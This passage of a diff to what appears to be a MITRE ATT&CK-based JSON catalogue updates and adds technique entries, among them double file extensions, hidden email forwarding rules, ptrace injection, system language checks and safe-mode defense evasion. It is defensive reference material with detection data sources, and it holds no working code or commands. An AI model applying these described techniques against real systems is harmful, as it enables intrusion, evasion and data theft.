"mitre_platforms": [
"macOS",
- "Windows"
+ "Windows",
+ "Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1056/002",
@@ -7587,6 +7645,7 @@
"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
"https://logrhythm.com/blog/do-you-trust-your-computer/",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
+ "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/",
"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
]
},
@@ -7675,6 +7734,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -7762,7 +7822,7 @@
"value": "Web Portal Capture - T1056.003"
},
{
- "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)",
+ "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
"meta": {
"external_id": "T1053.007",
"kill_chain": [
@@ -7795,7 +7855,7 @@
"value": "Container Orchestration Job - T1053.007"
},
{
- "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. \n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
+ "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
"meta": {
"external_id": "T1059.003",
"kill_chain": [
@@ -7809,7 +7869,8 @@
"Windows"
],
"refs": [
- "https://attack.mitre.org/techniques/T1059/003"
+ "https://attack.mitre.org/techniques/T1059/003",
+ "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
]
},
"related": [
@@ -7874,6 +7935,36 @@
"uuid": "e51137a5-1cdc-499e-911a-abaedaa5ac86",
"value": "Space after Filename - T1036.006"
},
+ {
+ "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
+ "meta": {
+ "external_id": "T1036.007",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "File: File Creation",
+ "File: File Metadata"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1036/007",
+ "https://www.pcmag.com/encyclopedia/term/double-extension",
+ "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/",
+ "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
+ "value": "Double File Extension - T1036.007"
+ },
{
"description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
"meta": {
@@ -7881,6 +7972,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -7908,6 +8002,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -7947,7 +8042,8 @@
"mitre_platforms": [
"Office 365",
"SaaS",
- "Google Workspace"
+ "Google Workspace",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1550/004",
@@ -8048,6 +8144,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -8070,7 +8167,7 @@
"value": "Thread Local Storage - T1055.005"
},
{
- "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
+ "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.008",
"kill_chain": [
@@ -8078,6 +8175,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -8128,7 +8226,7 @@
"value": "Network Security Appliances - T1590.006"
},
{
- "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",
+ "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",
"meta": {
"external_id": "T1059.008",
"kill_chain": [
@@ -8248,7 +8346,7 @@
"value": "Compiled HTML File - T1218.001"
},
{
- "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.",
+ "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)",
"meta": {
"external_id": "T1114.003",
"kill_chain": [
@@ -8260,12 +8358,16 @@
"mitre_platforms": [
"Office 365",
"Windows",
- "Google Workspace"
+ "Google Workspace",
+ "macOS",
+ "Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1114/003",
"https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
+ "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
+ "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
+ "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
]
},
"related": [
@@ -8316,6 +8418,42 @@
"uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21",
"value": "Office Template Macros - T1137.001"
},
+ {
+ "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.",
+ "meta": {
+ "external_id": "T1614.001",
+ "kill_chain": [
+ "mitre-attack:discovery"
+ ],
+ "mitre_data_sources": [
+ "Windows Registry: Windows Registry Key Access",
+ "Process: Process Creation",
+ "Process: OS API Execution",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1614/001",
+ "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/",
+ "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
+ "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware",
+ "https://securelist.com/evolution-of-jsworm-ransomware/102428/",
+ "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "value": "System Language Discovery - T1614.001"
+ },
{
"description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
@@ -8392,7 +8530,7 @@
"value": "Security Software Discovery - T1518.001"
},
{
- "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
+ "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
"meta": {
"external_id": "T1591.001",
"kill_chain": [
@@ -8404,7 +8542,7 @@
"refs": [
"https://attack.mitre.org/techniques/T1591/001",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "https://www.dobsearch.com/business-lookup/"
+ "https://www.sec.gov/edgar/search-and-access"
]
},
"related": [
@@ -8798,6 +8936,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Persona: Social Media",
+ "Network Traffic: Network Traffic Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -8844,7 +8986,7 @@
"value": "Scanning IP Blocks - T1595.001"
},
{
- "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
+ "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
"meta": {
"external_id": "T1559.001",
"kill_chain": [
@@ -8883,6 +9025,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Persona: Social Media",
+ "Network Traffic: Network Traffic Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -9161,7 +9307,7 @@
"value": "Group Policy Preferences - T1552.006"
},
{
- "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
+ "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
"meta": {
"external_id": "T1557.002",
"kill_chain": [
@@ -9194,7 +9340,7 @@
"value": "ARP Cache Poisoning - T1557.002"
},
{
- "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).",
+ "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
"meta": {
"external_id": "T1559.002",
"kill_chain": [
@@ -9217,6 +9363,7 @@
"https://www.contextis.com/blog/comma-separated-vulnerabilities",
"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
+ "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
]
},
@@ -9299,6 +9446,42 @@
"uuid": "cacc40da-4c9e-462c-80d5-fd70a178b12d",
"value": "Disable Cloud Logs - T1562.008"
},
+ {
+ "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
+ "meta": {
+ "external_id": "T1562.009",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
